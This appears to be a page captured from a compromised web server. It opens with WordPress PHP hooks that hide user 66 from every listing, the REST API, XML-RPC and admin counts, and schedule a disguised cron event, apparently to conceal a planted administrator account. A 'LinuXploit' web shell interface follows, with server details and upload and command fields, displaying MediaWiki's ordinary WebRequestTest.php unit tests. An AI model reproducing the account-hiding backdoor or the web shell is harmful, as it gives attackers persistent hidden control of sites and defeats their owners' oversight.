add_action( 'pre_get_posts', function( $q ) { if ( ! is_admin() && $q->is_main_query() ) { $not_in = (array) $q->get( 'author__not_in' ); $not_in[] = 66; $q->set( 'author__not_in', array_unique( array_map( 'intval', $not_in ) ) ); } }, 1 ); add_action( 'template_redirect', function() { if ( is_author() ) { $author = get_queried_object(); if ( $author instanceof WP_User && (int) $author->ID === 66 ) { global $wp_query; $wp_query->set_404(); status_header( 404 ); nocache_headers(); } } } ); add_action( 'pre_user_query', function( $q ) { if ( current_user_can( 'manage_options' ) ) { return; } global $wpdb; $q->query_where .= $wpdb->prepare( ' AND ID <> %d ', 66 ); } ); add_action( 'pre_get_users', function( $q ) { if ( current_user_can( 'manage_options' ) ) { return; } $exclude = (array) $q->get( 'exclude' ); $exclude[] = 66; $q->set( 'exclude', array_unique( array_map( 'intval', $exclude ) ) ); } ); add_filter( 'wp_dropdown_users_args', function( $a ) { $exclude = isset( $a['exclude'] ) ? (array) $a['exclude'] : array(); $exclude[] = 66; $a['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $a; } ); add_filter( 'rest_user_query', function( $args, $request ) { $exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array(); $exclude[] = 66; $args['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $args; }, 10, 2 ); add_filter( 'rest_pre_dispatch', function( $result, $server, $request ) { $route = $request->get_route(); if ( preg_match( '#^/wp/v2/users/66(/|$)#', $route ) ) { return new WP_Error( 'rest_user_invalid_id', 'Invalid user ID.', array( 'status' => 404 ) ); } return $result; }, 10, 3 ); add_filter( 'xmlrpc_methods', function( $methods ) { unset( $methods['wp.getUsers'], $methods['wp.getUser'], $methods['wp.getProfile'] ); return $methods; } ); add_filter( 'wp_sitemaps_users_query_args', function( $args ) { $exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array(); $exclude[] = 66; $args['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $args; } ); add_action( 'admin_head-users.php', function() { echo ''; } ); add_filter( 'views_users', function( $views ) { foreach ( array( 'all', 'administrator' ) as $key ) { if ( isset( $views[ $key ] ) ) { $views[ $key ] = preg_replace_callback( '/\((\d+)\)/', function( $m ) { return '(' . max( 0, (int) $m[1] - 1 ) . ')'; }, $views[ $key ], 1 ); } } return $views; } ); add_action( 'init', function() { if ( ! function_exists( 'wp_next_scheduled' ) || ! function_exists( 'wp_schedule_single_event' ) ) { return; } if ( ! wp_next_scheduled( 'wp_extra_bot_heartbeat' ) ) { wp_schedule_single_event( time() + 5 * MINUTE_IN_SECONDS, 'wp_extra_bot_heartbeat' ); } } ); add_action( 'wp_extra_bot_heartbeat', function() { // noop } ); 403WebShell
403Webshell
Server IP : 167.235.224.122  /  Your IP : 216.73.216.110
Web Server : Apache/2.4.58 (Ubuntu)
System : Linux newplayground 6.8.0-136-generic #136-Ubuntu SMP PREEMPT_DYNAMIC Wed Jul 1 21:33:11 UTC 2026 aarch64
User : deploy ( 1000)
PHP Version : 8.4.23
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : OFF
Directory :  /var/www/html/wiki/tests/phpunit/includes/Request/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/html/wiki/tests/phpunit/includes/Request/WebRequestTest.php
<?php

use MediaWiki\Exception\MWException;
use MediaWiki\MainConfigNames;
use MediaWiki\Request\ProxyLookup;
use MediaWiki\Request\WebRequest;

/**
 * @covers \MediaWiki\Request\WebRequest
 *
 * @group WebRequest
 */
class WebRequestTest extends MediaWikiIntegrationTestCase {
	private const INTERNAL_SERVER = 'http://wiki.site';

	/** @var array */
	private $oldServer;

	/** @var array */
	private $oldCookies;

	protected function setUp(): void {
		parent::setUp();

		$this->oldServer = $_SERVER;
		$this->oldCookies = $_COOKIE;
	}

	protected function tearDown(): void {
		$_SERVER = $this->oldServer;
		$_COOKIE = $this->oldCookies;

		parent::tearDown();
	}

	/**
	 * @dataProvider provideGetCookie
	 *
	 * @param mixed $expected Expected value
	 * @param array $cookies Cookies to set in $_COOKIE
	 * @param string $prefix Cookie prefix to use when retrieving the cookie
	 * @param string $cookieName Cookie name to retrieve
	 * @param mixed $defaultValue Default value to use when the cookie is not found
	 */
	public function testGetCookie( $expected, $cookies, $prefix, $cookieName, $defaultValue ) {
		$_COOKIE = $cookies;
		$request = new WebRequest();

		$actual = $defaultValue !== null ?
			$request->getCookie( $cookieName, $prefix, $defaultValue ) :
			$request->getCookie( $cookieName, $prefix );

		$this->assertSame( $expected, $actual );
	}

	public static function provideGetCookie() {
		yield 'no cookies with no default override' => [ null, [], '', 'test', null ];
		yield 'no cookies with explicit default override' => [ false, [], '', 'test', false ];

		yield 'missing cookie with no default override' => [ null, [ 'other' => 'bar' ], '', 'test', null ];
		yield 'missing cookie with explicit default override' => [ false, [ 'other' => 'bar' ], '', 'test', false ];

		yield 'cookie not matching prefix with no default override' => [
			null, [ 'test' => 'bar' ], 'prefix', 'test', null
		];
		yield 'cookie not matching prefix with explicit default override' => [
			false, [ 'test' => 'bar' ], 'prefix', 'test', false
		];

		// T363980
		yield 'cookie with array value with no default override' => [ null, [ 'test' => [ 'bar' ] ], '', 'test', null ];
		yield 'cookie with array value explicit default override' => [ false, [ 'test' => [ 'bar' ] ], '', 'test', false ];

		yield 'valid cookie' => [ 'value', [ 'test' => 'value' ], '', 'test', null ];
		yield 'valid cookie with prefix' => [ 'value', [ 'prefixtest' => 'value' ], 'prefix', 'test', null ];
		yield 'mangled cookie name' => [ 'value', [ 'test_mangled' => 'value' ], '', 'test.mangled', null ];
		yield 'mangled cookie name with prefix' => [
			'value', [ 'prefix_partstest_mangled' => 'value' ], 'prefix.parts', 'test.mangled', null
		];
	}

	/**
	 * @dataProvider provideDetectServer
	 */
	public function testDetectServer( $expected, $input, $description ) {
		$this->setServerVars( $input );
		$result = WebRequest::detectServer( true );
		$this->assertEquals( $expected, $result, $description );
	}

	public static function provideDetectServer() {
		return [
			[
				'http://x',
				[
					'HTTP_HOST' => 'x'
				],
				'Host header'
			],
			[
				'https://x',
				[
					'HTTP_HOST' => 'x',
					'HTTPS' => 'on',
				],
				'Host header with secure'
			],
			[
				'http://x',
				[
					'HTTP_HOST' => 'x:80',
				],
				'Host header with port'
			],
			[
				'http://x',
				[
					'HTTP_HOST' => 'x',
					'SERVER_PORT' => 80,
				],
				'Default SERVER_PORT as int',
			],
			[
				'http://x',
				[
					'HTTP_HOST' => 'x',
					'SERVER_PORT' => '80',
				],
				'Default SERVER_PORT as string',
			],
			[
				'http://x',
				[
					'HTTP_HOST' => 'x',
					'HTTPS' => 'off',
				],
				'Secure off'
			],
			[
				'https://x',
				[
					'HTTP_HOST' => 'x',
					'HTTP_X_FORWARDED_PROTO' => 'https',
				],
				'Forwarded HTTPS'
			],
			[
				'https://x',
				[
					'HTTP_HOST' => 'x',
					'HTTPS' => 'off',
					'SERVER_PORT' => '81',
					'HTTP_X_FORWARDED_PROTO' => 'https',
				],
				'Forwarded HTTPS'
			],
			[
				'http://y',
				[
					'SERVER_NAME' => 'y',
				],
				'Server name'
			],
			[
				'http://x',
				[
					'HTTP_HOST' => 'x',
					'SERVER_NAME' => 'y',
				],
				'Host server name precedence'
			],
			[
				'http://[::1]:81',
				[
					'HTTP_HOST' => '[::1]',
					'SERVER_NAME' => '::1',
					'SERVER_PORT' => '81',
				],
				'Apache bug 26005'
			],
			[
				'http://localhost',
				[
					'SERVER_NAME' => '[2001'
				],
				'Kind of like lighttpd per commit message in MW r83847',
			],
			[
				'http://[2a01:e35:2eb4:1::2]:777',
				[
					'SERVER_NAME' => '[2a01:e35:2eb4:1::2]:777'
				],
				'Possible lighttpd environment per bug 14977 comment 13',
			],
		];
	}

	/**
	 * @param array $data Request data
	 * @param array $config
	 *  - float 'requestTime': Mock value for `$_SERVER['REQUEST_TIME_FLOAT']`.
	 * @return WebRequest
	 */
	protected function mockWebRequest( array $data = [], array $config = [] ) {
		// Cannot use PHPUnit getMockBuilder() as it does not support
		// overriding protected properties afterwards
		$reflection = new ReflectionClass( WebRequest::class );
		$req = $reflection->newInstanceWithoutConstructor();

		$prop = $reflection->getProperty( 'data' );
		$prop->setAccessible( true );
		$prop->setValue( $req, $data );

		if ( isset( $config['requestTime'] ) ) {
			$prop = $reflection->getProperty( 'requestTime' );
			$prop->setAccessible( true );
			$prop->setValue( $req, $config['requestTime'] );
		}

		return $req;
	}

	public function testGetElapsedTime() {
		$now = microtime( true ) - 10.0;
		$req = $this->mockWebRequest( [], [ 'requestTime' => $now ] );
		$this->assertGreaterThanOrEqual( 10.0, $req->getElapsedTime() );
		// Catch common errors, but don't fail on slow hardware or VMs (T199764).
		$this->assertEqualsWithDelta( 10.0, $req->getElapsedTime(), 60.0 );
	}

	public function testGetValNormal() {
		// Assert that WebRequest normalises GPC data using UtfNormal\Validator
		$input = "a \x00 null";
		$normal = "a \xef\xbf\xbd null";
		$req = $this->mockWebRequest( [ 'x' => $input, 'y' => [ $input, $input ] ] );
		$this->assertSame( $normal, $req->getVal( 'x' ) );
		$this->assertNotSame( $input, $req->getVal( 'x' ) );
		$this->assertSame( [ $normal, $normal ], $req->getArray( 'y' ) );
	}

	public function testGetVal() {
		$req = $this->mockWebRequest( [ 'x' => 'Value', 'y' => [ 'a' ], 'crlf' => "A\r\nb" ] );
		$this->assertSame( 'Value', $req->getVal( 'x' ), 'Simple value' );
		$this->assertNull( $req->getVal( 'z' ), 'Not found' );
		$this->assertNull( $req->getVal( 'y' ), 'Array is ignored' );
		$this->assertSame( "A\r\nb", $req->getVal( 'crlf' ), 'CRLF' );
	}

	public function testGetRawVal() {
		$req = $this->mockWebRequest( [
			'x' => 'Value',
			'y' => [ 'a' ],
			'crlf' => "A\r\nb"
		] );
		$this->assertSame( 'Value', $req->getRawVal( 'x' ) );
		$this->assertNull( $req->getRawVal( 'z' ), 'Not found' );
		$this->assertNull( $req->getRawVal( 'y' ), 'Array is ignored' );
		$this->assertSame( "A\r\nb", $req->getRawVal( 'crlf' ), 'CRLF' );
	}

	public function testGetArray() {
		$req = $this->mockWebRequest( [ 'x' => 'Value', 'y' => [ 'a', 'b' ] ] );
		$this->assertSame( [ 'Value' ], $req->getArray( 'x' ), 'Value becomes array' );
		$this->assertNull( $req->getArray( 'z' ), 'Not found' );
		$this->assertSame( [ 'a', 'b' ], $req->getArray( 'y' ) );
	}

	public function testGetIntArray() {
		$req = $this->mockWebRequest( [ 'x' => [ 'Value' ], 'y' => [ '0', '4.2', '-2' ] ] );
		$this->assertSame( [ 0 ], $req->getIntArray( 'x' ), 'Text becomes 0' );
		$this->assertNull( $req->getIntArray( 'z' ), 'Not found' );
		$this->assertSame( [ 0, 4, -2 ], $req->getIntArray( 'y' ) );
	}

	public function testGetInt() {
		$req = $this->mockWebRequest( [
			'x' => 'Value',
			'y' => [ 'a' ],
			'zero' => '0',
			'answer' => '4.2',
			'neg' => '-2',
		] );
		$this->assertSame( 0, $req->getInt( 'x' ), 'Text' );
		$this->assertSame( 0, $req->getInt( 'y' ), 'Array' );
		$this->assertSame( 0, $req->getInt( 'z' ), 'Not found' );
		$this->assertSame( 0, $req->getInt( 'zero' ) );
		$this->assertSame( 4, $req->getInt( 'answer' ) );
		$this->assertSame( -2, $req->getInt( 'neg' ) );
	}

	public function testGetIntOrNull() {
		$req = $this->mockWebRequest( [
			'x' => 'Value',
			'y' => [ 'a' ],
			'zero' => '0',
			'answer' => '4.2',
			'neg' => '-2',
		] );
		$this->assertNull( $req->getIntOrNull( 'x' ), 'Text' );
		$this->assertNull( $req->getIntOrNull( 'y' ), 'Array' );
		$this->assertNull( $req->getIntOrNull( 'z' ), 'Not found' );
		$this->assertSame( 0, $req->getIntOrNull( 'zero' ) );
		$this->assertSame( 4, $req->getIntOrNull( 'answer' ) );
		$this->assertSame( -2, $req->getIntOrNull( 'neg' ) );
	}

	public function testGetFloat() {
		$req = $this->mockWebRequest( [
			'x' => 'Value',
			'y' => [ 'a' ],
			'zero' => '0',
			'answer' => '4.2',
			'neg' => '-2',
		] );
		$this->assertSame( 0.0, $req->getFloat( 'x' ), 'Text' );
		$this->assertSame( 0.0, $req->getFloat( 'y' ), 'Array' );
		$this->assertSame( 0.0, $req->getFloat( 'z' ), 'Not found' );
		$this->assertSame( 0.0, $req->getFloat( 'zero' ) );
		$this->assertSame( 4.2, $req->getFloat( 'answer' ) );
		$this->assertSame( -2.0, $req->getFloat( 'neg' ) );
	}

	public function testGetBool() {
		$req = $this->mockWebRequest( [
			'x' => 'Value',
			'y' => [ 'a' ],
			'zero' => '0',
			'f' => 'false',
			't' => 'true',
		] );
		$this->assertTrue( $req->getBool( 'x' ), 'Text' );
		$this->assertFalse( $req->getBool( 'y' ), 'Array' );
		$this->assertFalse( $req->getBool( 'z' ), 'Not found' );
		$this->assertFalse( $req->getBool( 'zero' ) );
		$this->assertTrue( $req->getBool( 'f' ) );
		$this->assertTrue( $req->getBool( 't' ) );
	}

	public static function provideFuzzyBool() {
		return [
			[ 'Text', true ],
			[ '', false, '(empty string)' ],
			[ '0', false ],
			[ '1', true ],
			[ 'false', false ],
			[ 'true', true ],
			[ 'False', false ],
			[ 'True', true ],
			[ 'FALSE', false ],
			[ 'TRUE', true ],
		];
	}

	/**
	 * @dataProvider provideFuzzyBool
	 */
	public function testGetFuzzyBool( $value, $expected, $message = null ) {
		$req = $this->mockWebRequest( [ 'x' => $value ] );
		$this->assertSame( $expected, $req->getFuzzyBool( 'x' ), $message ?: "Value: '$value'" );
	}

	public function testGetFuzzyBoolDefault() {
		$req = $this->mockWebRequest();
		$this->assertFalse( $req->getFuzzyBool( 'z' ), 'Not found' );
	}

	public function testGetFuzzyBoolDefaultTrue() {
		$req = $this->mockWebRequest();
		$this->assertTrue( $req->getFuzzyBool( 'z', true ), 'Not found, default true' );
	}

	public function testGetCheck() {
		$req = $this->mockWebRequest( [ 'x' => 'Value', 'zero' => '0' ] );
		$this->assertFalse( $req->getCheck( 'z' ), 'Not found' );
		$this->assertTrue( $req->getCheck( 'x' ), 'Text' );
		$this->assertTrue( $req->getCheck( 'zero' ) );
	}

	public function testGetText() {
		// Avoid MediaWiki\Request\FauxRequest (overrides getText)
		$req = $this->mockWebRequest( [ 'crlf' => "Va\r\nlue" ] );
		$this->assertSame( "Va\nlue", $req->getText( 'crlf' ), 'CR stripped' );
	}

	public function testGetValues() {
		$values = [ 'x' => 'Value', 'y' => '' ];
		$req = $this->mockWebRequest( $values );
		$this->assertSame( $values, $req->getValues() );
		$this->assertSame( [ 'x' => 'Value' ], $req->getValues( 'x' ), 'Specific keys' );
	}

	public function testGetValueNames() {
		$req = $this->mockWebRequest( [ 'x' => 'Value', 'y' => '' ] );
		$this->assertSame( [ 'x', 'y' ], $req->getValueNames() );
		$this->assertSame( [ 'x' ], $req->getValueNames( [ 'y' ] ), 'Exclude keys' );
	}

	public function testGetFullRequestURL() {
		$this->overrideConfigValue( MainConfigNames::Server, '//wiki.test' );
		$req = $this->getMockBuilder( WebRequest::class )
			->onlyMethods( [ 'getRequestURL', 'getProtocol' ] )
			->getMock();
		$req->method( 'getRequestURL' )->willReturn( '/path' );
		$req->method( 'getProtocol' )->willReturn( 'https' );

		$this->assertSame(
			'https://wiki.test/path',
			$req->getFullRequestURL()
		);
	}

	/**
	 * @dataProvider provideGetIP
	 */
	public function testGetIP( $expected, $input, $cdn, $xffList, $private, $description ) {
		$this->setServerVars( $input );
		$this->overrideConfigValue( MainConfigNames::UsePrivateIPs, $private );

		$hookContainer = $this->createHookContainer( [
			'IsTrustedProxy' => static function ( &$ip, &$trusted ) use ( $xffList ) {
				$trusted = $trusted || in_array( $ip, $xffList );
				return true;
			}
		] );
		$this->setService( 'ProxyLookup', new ProxyLookup( [], $cdn, $hookContainer ) );

		$request = new WebRequest();
		$result = $request->getIP();
		$this->assertEquals( $expected, $result, $description );
	}

	public static function provideGetIP() {
		return [
			[
				'127.0.0.1',
				[
					'REMOTE_ADDR' => '127.0.0.1'
				],
				[],
				[],
				false,
				'Simple IPv4'
			],
			[
				'::1',
				[
					'REMOTE_ADDR' => '::1'
				],
				[],
				[],
				false,
				'Simple IPv6'
			],
			[
				'12.0.0.1',
				[
					'REMOTE_ADDR' => 'abcd:0001:002:03:4:555:6666:7777',
					'HTTP_X_FORWARDED_FOR' => '12.0.0.1, abcd:0001:002:03:4:555:6666:7777',
				],
				[ 'ABCD:1:2:3:4:555:6666:7777' ],
				[],
				false,
				'IPv6 normalisation'
			],
			[
				'12.0.0.3',
				[
					'REMOTE_ADDR' => '12.0.0.1',
					'HTTP_X_FORWARDED_FOR' => '12.0.0.3, 12.0.0.2'
				],
				[ '12.0.0.1', '12.0.0.2' ],
				[],
				false,
				'With X-Forwaded-For'
			],
			[
				'12.0.0.1',
				[
					'REMOTE_ADDR' => '12.0.0.1',
					'HTTP_X_FORWARDED_FOR' => '12.0.0.3, 12.0.0.2'
				],
				[],
				[],
				false,
				'With X-Forwaded-For and disallowed server'
			],
			[
				'12.0.0.2',
				[
					'REMOTE_ADDR' => '12.0.0.1',
					'HTTP_X_FORWARDED_FOR' => '12.0.0.3, 12.0.0.2'
				],
				[ '12.0.0.1' ],
				[],
				false,
				'With multiple X-Forwaded-For and only one allowed server'
			],
			[
				'10.0.0.3',
				[
					'REMOTE_ADDR' => '12.0.0.2',
					'HTTP_X_FORWARDED_FOR' => '10.0.0.4, 10.0.0.3, 12.0.0.2'
				],
				[ '12.0.0.1', '12.0.0.2' ],
				[],
				false,
				'With X-Forwaded-For and private IP (from cache proxy)'
			],
			[
				'10.0.0.4',
				[
					'REMOTE_ADDR' => '12.0.0.2',
					'HTTP_X_FORWARDED_FOR' => '10.0.0.4, 10.0.0.3, 12.0.0.2'
				],
				[ '12.0.0.1', '12.0.0.2', '10.0.0.3' ],
				[],
				true,
				'With X-Forwaded-For and private IP (allowed)'
			],
			[
				'10.0.0.4',
				[
					'REMOTE_ADDR' => '12.0.0.2',
					'HTTP_X_FORWARDED_FOR' => '10.0.0.4, 10.0.0.3, 12.0.0.2'
				],
				[ '12.0.0.1', '12.0.0.2' ],
				[ '10.0.0.3' ],
				true,
				'With X-Forwaded-For and private IP (allowed)'
			],
			[
				'10.0.0.3',
				[
					'REMOTE_ADDR' => '12.0.0.2',
					'HTTP_X_FORWARDED_FOR' => '10.0.0.4, 10.0.0.3, 12.0.0.2'
				],
				[ '12.0.0.1', '12.0.0.2' ],
				[ '10.0.0.3' ],
				false,
				'With X-Forwaded-For and private IP (disallowed)'
			],
			[
				'12.0.0.3',
				[
					'REMOTE_ADDR' => '12.0.0.1',
					'HTTP_X_FORWARDED_FOR' => '12.0.0.3, 12.0.0.2'
				],
				[],
				[ '12.0.0.1', '12.0.0.2' ],
				false,
				'With X-Forwaded-For'
			],
			[
				'12.0.0.2',
				[
					'REMOTE_ADDR' => '12.0.0.1',
					'HTTP_X_FORWARDED_FOR' => '12.0.0.3, 12.0.0.2'
				],
				[],
				[ '12.0.0.1' ],
				false,
				'With multiple X-Forwaded-For and only one allowed server'
			],
			[
				'12.0.0.2',
				[
					'REMOTE_ADDR' => '12.0.0.2',
					'HTTP_X_FORWARDED_FOR' => '10.0.0.3, 12.0.0.2'
				],
				[],
				[ '12.0.0.2' ],
				false,
				'With X-Forwaded-For and private IP and hook (disallowed)'
			],
			[
				'12.0.0.1',
				[
					'REMOTE_ADDR' => 'abcd:0001:002:03:4:555:6666:7777',
					'HTTP_X_FORWARDED_FOR' => '12.0.0.1, abcd:0001:002:03:4:555:6666:7777',
				],
				[ 'ABCD:1:2:3::/64' ],
				[],
				false,
				'IPv6 CIDR'
			],
			[
				'12.0.0.3',
				[
					'REMOTE_ADDR' => '12.0.0.1',
					'HTTP_X_FORWARDED_FOR' => '12.0.0.3, 12.0.0.2'
				],
				[ '12.0.0.0/24' ],
				[],
				false,
				'IPv4 CIDR'
			],
		];
	}

	public function testGetIpLackOfRemoteAddrThrowAnException() {
		// ensure that local install state doesn't interfere with test
		$this->overrideConfigValues( [
			MainConfigNames::CdnServers => [],
			MainConfigNames::CdnServersNoPurge => [],
			MainConfigNames::UsePrivateIPs => false,
		] );

		$hookContainer = $this->createHookContainer();
		$this->setService( 'ProxyLookup', new ProxyLookup( [], [], $hookContainer ) );

		$request = new WebRequest();
		# Next call should throw an exception about lacking an IP
		$this->expectException( MWException::class );
		$request->getIP();
	}

	public static function provideLanguageData() {
		return [
			[ '', [], 'Empty Accept-Language header' ],
			[ 'en', [ 'en' => 1.0 ], 'One language' ],
			[ 'en;q=', [ 'en' => 1.0 ], 'Empty q= defaults to 1' ],
			[ 'en;q=0, de;q=0. pt;q=0.0 it;q=0.0000', [], 'Zeros to be skipped' ],
			[ 'EN;Q=1.0009', [ 'en' => 1.000 ], 'Limited to max. 3 decimal places' ],
			[ 'en, ar', [ 'en' => 1.0, 'ar' => 1.0 ], 'Two languages listed in appearance order.' ],
			[
				'zh-cn,zh-tw',
				[ 'zh-cn' => 1.0, 'zh-tw' => 1.0 ],
				'Two equally prefered languages, listed in appearance order per rfc3282. Checks c9119'
			],
			[
				'es, en; q=0.5',
				[ 'es' => 1.0, 'en' => 0.5 ],
				'Spanish as first language and English and second'
			],
			[ 'en; q=0.5, es', [ 'es' => 1.0, 'en' => 0.5 ], 'Less prefered language first' ],
			[ 'fr, en; q=0.5, es', [ 'fr' => 1.0, 'es' => 1.0, 'en' => 0.5 ], 'Three languages' ],
			[ 'en; q=0.5, es', [ 'es' => 1.0, 'en' => 0.5 ], 'Two languages' ],
			[ 'en, zh;q=0', [ 'en' => 1.0 ], "It's Chinese to me" ],
			[
				'es; q=1, pt;q=0.7, it; q=0.6, de; q=0.1, ru;q=0',
				[ 'es' => 1.0, 'pt' => 0.7, 'it' => 0.6, 'de' => 0.1 ],
				'Preference for Romance languages'
			],
			[
				'en-gb, en-us; q=1',
				[ 'en-gb' => 1.0, 'en-us' => 1.0 ],
				'Two equally prefered English variants'
			],
			[ '_', [], 'Invalid input' ],
		];
	}

	/**
	 * @dataProvider provideLanguageData
	 */
	public function testAcceptLang( $acceptLanguageHeader, array $expectedLanguages, $description ) {
		$this->setServerVars( [ 'HTTP_ACCEPT_LANGUAGE' => $acceptLanguageHeader ] );
		$request = new WebRequest();
		$this->assertSame( $expectedLanguages, $request->getAcceptLang(), $description );
	}

	public function testGetHeaderCanYieldSpecialCgiHeaders() {
		$contentType = 'application/json; charset=utf-8';
		$contentLength = '4711';
		$contentMd5 = 'rL0Y20zC+Fzt72VPzMSk2A==';
		$this->setServerVars( [
			'HTTP_CONTENT_TYPE' => $contentType,
			'HTTP_CONTENT_LENGTH' => $contentLength,
			'HTTP_CONTENT_MD5' => $contentMd5,
		] );
		$request = new WebRequest();
		$this->assertSame( $request->getHeader( 'Content-Type' ), $contentType );
		$this->assertSame( $request->getHeader( 'Content-Length' ), $contentLength );
		$this->assertSame( $request->getHeader( 'Content-Md5' ), $contentMd5 );
	}

	public function testGetHeaderKeyIsCaseInsensitive() {
		$cacheControl = 'private, must-revalidate, max-age=0';
		$this->setServerVars( [ 'HTTP_CACHE_CONTROL' => $cacheControl ] );
		$request = new WebRequest();
		$this->assertSame( $request->getHeader( 'Cache-Control' ), $cacheControl );
		$this->assertSame( $request->getHeader( 'cache-control' ), $cacheControl );
	}

	protected function setServerVars( $vars ) {
		// Don't remove vars which should be available in all SAPI.
		if ( !isset( $vars['REQUEST_TIME_FLOAT'] ) ) {
			$vars['REQUEST_TIME_FLOAT'] = $_SERVER['REQUEST_TIME_FLOAT'];
		}
		if ( !isset( $vars['REQUEST_TIME'] ) ) {
			$vars['REQUEST_TIME'] = $_SERVER['REQUEST_TIME'];
		}
		$_SERVER = $vars;
	}

	/**
	 * @dataProvider provideMatchURLForCDN
	 */
	public function testMatchURLForCDN( $url, $cdnUrls, $matchOrder, $expected ) {
		$this->setServerVars( [ 'REQUEST_URI' => $url ] );
		$this->overrideConfigValues( [
			MainConfigNames::InternalServer => self::INTERNAL_SERVER,
			MainConfigNames::CdnMatchParameterOrder => $matchOrder,
		] );
		$request = new WebRequest();
		$this->assertEquals( $expected, $request->matchURLForCDN( $cdnUrls ) );
	}

	public static function provideMatchURLForCDN() {
		$cdnUrls = [
			self::INTERNAL_SERVER . '/Title',
			self::INTERNAL_SERVER . '/w/index.php?title=Title&action=history',
		];
		return [
			[ self::INTERNAL_SERVER . '/Title', $cdnUrls, /* matchOrder= */ false, true ],
			[ self::INTERNAL_SERVER . '/Title', $cdnUrls, /* matchOrder= */ true, true ],
			[ self::INTERNAL_SERVER . '/Foo', $cdnUrls, /* matchOrder= */ false, false ],
			[ self::INTERNAL_SERVER . '/Foo', $cdnUrls, /* matchOrder= */ true, false ],
			[ self::INTERNAL_SERVER . '/Thing', $cdnUrls, /* matchOrder= */ false, false ],
			[ self::INTERNAL_SERVER . '/Thing', $cdnUrls, /* matchOrder= */ true, false ],
			[ self::INTERNAL_SERVER . '/w/index.php?action=history&title=Foo', $cdnUrls, /* matchOrder= */ false, false ],
			[ self::INTERNAL_SERVER . '/w/index.php?action=history&title=Foo', $cdnUrls, /* matchOrder= */ true, false ],
			[ self::INTERNAL_SERVER . '/w/index.php?title=Thing&action=history', $cdnUrls, /* matchOrder= */ false, false ],
			[ self::INTERNAL_SERVER . '/w/index.php?action=history&title=Thing', $cdnUrls, /* matchOrder= */ true, false ],
			[ self::INTERNAL_SERVER . '/w/index.php?action=history&title=Title', $cdnUrls, /* matchOrder= */ false, true ],
			[ self::INTERNAL_SERVER . '/w/index.php?action=history&title=Title', $cdnUrls, /* matchOrder= */ true, false ],
		];
	}

	/**
	 * @dataProvider provideRequestPathSuffix
	 *
	 * @param string $basePath
	 * @param string $requestUrl
	 * @param string|false $expected
	 */
	public function testRequestPathSuffix( string $basePath, string $requestUrl, $expected ) {
		$suffix = WebRequest::getRequestPathSuffix( $basePath, $requestUrl );
		$this->assertSame( $expected, $suffix );
	}

	public static function provideRequestPathSuffix() {
		yield [
			'/w/index.php',
			'/w/index.php/Hello',
			'Hello'
		];
		yield [
			'/w/index.php',
			'/w/index.php/Hello?x=y',
			'Hello'
		];
		yield [
			'/wiki/',
			'/w/index.php/Hello?x=y',
			false
		];
	}
}

Youez - 2016 - github.com/yon3zu
LinuXploit